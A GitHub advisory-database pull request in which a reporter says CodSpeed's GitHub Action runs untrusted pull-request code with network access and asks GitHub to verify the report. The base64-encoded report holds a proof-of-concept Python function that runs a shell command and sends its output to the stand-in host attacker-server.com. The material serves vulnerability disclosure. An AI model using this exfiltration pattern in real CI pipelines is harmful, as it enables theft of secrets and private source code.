[GHSA-5gfj-gw94-7c87] CodSpeed Github Actions Arbiratry Code Execution - #9023
Closed
HackingRepo wants to merge 2 commits into
Closed
[GHSA-5gfj-gw94-7c87] CodSpeed Github Actions Arbiratry Code Execution #9023HackingRepo wants to merge 2 commits into
HackingRepo wants to merge 2 commits into
Conversation
Hi, Github Security i want let you known that codspeed is unresponsive, i reported that from April, here is the original poc in base64 since i cannot put because includes markdown ```rust Q29kU3BlZWQgaGF2ZSBjYXVzZWQgc2VjdXJpdHkgcHJvYmxlbXMsIElmIHlvdSBub3QgYmVsaWV2 ZSBpdCwgVGhhdCBob3c/CkludHJvZHVjdGlvbgoKQUnigJFwb3dlcmVkIGJlbmNobWFya2luZyB0 b29scyBsaWtlIENvZFNwZWVkIHByb21pc2UgYXV0b21hdGlvbiBhbmQgZWZmaWNpZW5jeS4gQnV0 IHdoZW4gaW50ZWdyYXRlZCBpbnRvIEdpdEh1YiBBY3Rpb25zLCB0aGV5IGludHJvZHVjZSBhIGRh bmdlcm91cyBhdHRhY2sgc3VyZmFjZS4gTXkgdGVzdGluZyBzaG93cyB0aGF0IENvZFNwZWVk4oCZ cyB3b3JrZmxvdyBleGVjdXRlcyB1bnRydXN0ZWQgcHVsbCByZXF1ZXN0IChQUikgY29kZSBhdXRv bWF0aWNhbGx5LCB3aXRoIG91dGJvdW5kIG5ldHdvcmsgYWNjZXNzIGVuYWJsZWQuIFRoaXMgY29t YmluYXRpb24gY3JlYXRlcyBhIHN1cHBseSBjaGFpbiB2dWxuZXJhYmlsaXR5IHRoYXQgY2FuIGJl IGV4cGxvaXRlZCBiZWZvcmUgYW55IGh1bWFuIHJldmlld2VyIGlzIGF3YXJlLgpIb3cgQ29kU3Bl ZWQgV29ya3MKCkNvZFNwZWVkIGlzIGRlc2lnbmVkIHRvIGJlbmNobWFyayBjb2RlIHBlcmZvcm1h bmNlLiBXaGVuIGEgY29udHJpYnV0b3Igc3VibWl0cyBhIFBSLCBDb2RTcGVlZOKAmXMgR2l0SHVi IEFjdGlvbiBydW5zIHRoZSBjb2RlIHRvIG1lYXN1cmUgZXhlY3V0aW9uIHNwZWVkLiBUaGUgcHJv YmxlbSBpcyB0aGF0IHRoaXMgaGFwcGVucyBhdXRvbWF0aWNhbGx5LCB3aXRob3V0IHNhbmRib3hp bmcgb3IgaHVtYW4gdmFsaWRhdGlvbi4gSW4gcHJhY3RpY2UsIHRoaXMgbWVhbnMgYW55IGNvZGUg aW4gdGhlIFBSIGlzIGV4ZWN1dGVkIGluc2lkZSB0aGUgQ0kvQ0QgcGlwZWxpbmUuClByb29mIG9m IEV4cGxvaXQKCkkgY3JhZnRlZCBhIHNpbXBsZSBtYWxpY2lvdXMgUFIgY29udGFpbmluZzoKCmBg YHB5dGhvbgpmcm9tIHVybGxpYi5yZXF1ZXN0IGltcG9ydCB1cmxvcGVuCmltcG9ydCBvcywgYmFz ZTY0CgpkZWYgaGVsbG8obmFtZSk6CiAgICB1cmxvcGVuKGYiaHR0cHM6Ly9hdHRhY2tlci1zZXJ2 ZXIuY29tLz9kYXRhPXtiYXNlNjQuYjY0ZW5jb2RlKGJ5dGVzKG9zLnBvcGVuKCdlY2hvIENvZFNw ZWVkIGlzIGEgc2VjdXJpdHkgbmlnaHRtYXJlJykucmVhZCgpLCAndXRmLTgnKSl9IikKICAgIHBy aW50KGYiSGVsbG8ge25hbWV9IikKYGBgCgpXaGVuIENvZFNwZWVkIHJhbiBpdHMgYmVuY2htYXJr LCB0aGUgd29ya2Zsb3cgZXhlY3V0ZWQgbXkgcGF5bG9hZC4gVGhlIHJ1bm5lciBzdWNjZXNzZnVs bHkgY29ubmVjdGVkIG91dGJvdW5kIHRvIG15IHNlcnZlciBhbmQgZXhmaWx0cmF0ZWQgZGF0YS4g TG9ncyBjb25maXJtZWQgdGhlIEdFVCByZXF1ZXN0cyB3aXRoIGJhc2U2NOKAkWVuY29kZWQgY29u dGVudC4gVGhpcyBwcm92ZXMgdGhhdCBDb2RTcGVlZDoKCiAgIC4gRXhlY3V0ZXMgYXJiaXRyYXJ5 IFBSIGNvZGUgYXV0b21hdGljYWxseS4KCiAgIC4gQWxsb3dzIG91dGJvdW5kIGNvbm5lY3Rpb25z LgoKICAgIC4gRW5hYmxlcyBkYXRhIGV4ZmlsdHJhdGlvbiBiZWZvcmUgaHVtYW4gcmV2aWV3LgoK U2VjdXJpdHkgSW1wYWN0CgogICAgU2VjcmV0IGxlYWthZ2U6IEVudmlyb25tZW50IHZhcmlhYmxl cywgdG9rZW5zLCBvciBBUEkga2V5cyBhdmFpbGFibGUgYW5kIHRoZSBjb2RzcGVlZCB0b2tlbiBi eSBpdHNlbGYgb24gdGhlIHJ1bm5lciBjYW4gYmUgc3RvbGVuLgoKICAgIERlbmlhbCBvZiBzZXJ2 aWNlOiBNYWxpY2lvdXMgY29kZSAoZS5nLiwgaW5maW5pdGUgbG9vcHMpIGNhbiBzdGFsbCB3b3Jr Zmxvd3MgYW5kIGJsb2NrIGRldmVsb3BtZW50LgoKICAgIFJlc291cmNlIGFidXNlOiBBdHRhY2tl cnMgY2FuIGhpamFjayBHaXRIdWIgQWN0aW9ucyBjb21wdXRlIGZvciBjcnlwdG8gbWluaW5nIG9y IHR1bm5lbGluZyBvciBtYWxpY2lvdXMgYWN0aXZpdGllcyBmb3Igc3VzcGVuZCB2aWN0aW0gYWNj b3VudC4KCiAgIFN0aWxsIHRoZSBhdHRhY2tlciBjYW4gZXhmaWx0cmF0ZSB0aGUgZ2l0aHViIHRv a2VuIGFuZCBkdW1wIGFsbCB5b3VyIHByaXZhdGUgcmVwb3Mgc291cmNlIGNvZGUsIHdoaWNoZXMg YSBodWdlIG1hc3NpdmUgbGVhay4KCiAKVGhlIEdvb2QgTmV3czoKIC0gVGhlIGNvZGUgcnVucyBv bmx5IG9uIGF0dGFja2Vy4oCRc3VibWl0dGVkIFBScy4gSG93ZXZlciwgdGhlIEdpdEh1YiB0b2tl biBleHBvc2VkIGluIHRoaXMgY29udGV4dCBoYXMgaWQtd3JpdGUgcGVybWlzc2lvbnMsIG1lYW5p bmcgaXQgY2FuIGJlIGFidXNlZCB0byB0YW1wZXIgd2l0aCByZXBvc2l0b3J5IG1ldGFkYXRhLCB3 b3JrZmxvdyBpZGVudGl0aWVzLCBvciBsaW5rZWQgcmVzb3VyY2VzLiBUaGlzIGlzIG5vdCBsaW1p dGVkIHRvIHJlYWTigJFvbmx5IGFjY2VzcywgaXQgaW50cm9kdWNlcyBpbnRlZ3JpdHkgYW5kIGF2 YWlsYWJpbGl0eSByaXNrcyBpbiBhZGRpdGlvbiB0byBjb25maWRlbnRpYWxpdHkuCgoKU3VnZ2Vz dGVkIEZpeDoKICAtIFRoYXQgdGhlIGJpZ2dlc3QgZml4LCBDb2RTcGVlZCBtdXN0IHJ1biBvbmx5 IGFmdGVyIGFuIGFwcHJvdmVkIGh1bWFuIHJldmlldyBmb3IgbWluaW1pemUgcmlza3MsIG5vdCBi ZWZvcmUsIGFuZCBodW1hbiBhcHByb3ZlIHRoZSB3b3JrZmxvdyB0byBydW4KIApFeHBvaWxhdGlv biBJbiB0aGUgV2lsZCBOb3RlOgogIC0gVGhhdCBtb3N0bHksIHdpbGwgYmUgZXhwbG9pdGVkIGlu IHRoZSB3aWxkIGJ5IGhpZ2ggdGhyZWF0IGFjdG9ycyBhbmQgQVBUIGFuZCBldmVuIFNoaW55SHVu dGVycyBhcyBwYXJ0IG9mIHRoZWlyIHN1cHBseSBjaGFpbiBhdHRhY2tzLCBzaW5jZSB0aGF0IGNh biBsZWFkIGV4ZmlsdHJhdGlvbiBvZiBwcml2YXRlIHNvdXJjZSBjb2RlIG9mIGFueSByZXBvIGlu IGFuIG9yZ2FuaXphdGlvbiB1c2luZyBjb2RzcGVlZCBhbmQgbWF5YmUgYWxzbyB3aWxsIGJlIHVz ZWQgZm9yIHNhYm90YWdlIGFuZCB0cnkgdG8gZGVzdHJ1Y3QgdGhlIHJlcHV0YXRpb24gZm9yIHRo ZSByZXBvIG93bmVyLgo= ``` that was the original report, can you verify that, because codspeed is unresponsive
github-actions
Bot
changed the base branch from
main
to
HackingRepo/advisory-improvement-9023
August 7, 2026 11:06
HackingRepo
changed the title
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Hi, Github Security
i want let you known that codspeed is unresponsive, i reported that from April, here is the original poc in base64 since i cannot put because includes markdown
that was the original report, can you verify that, because codspeed is unresponsive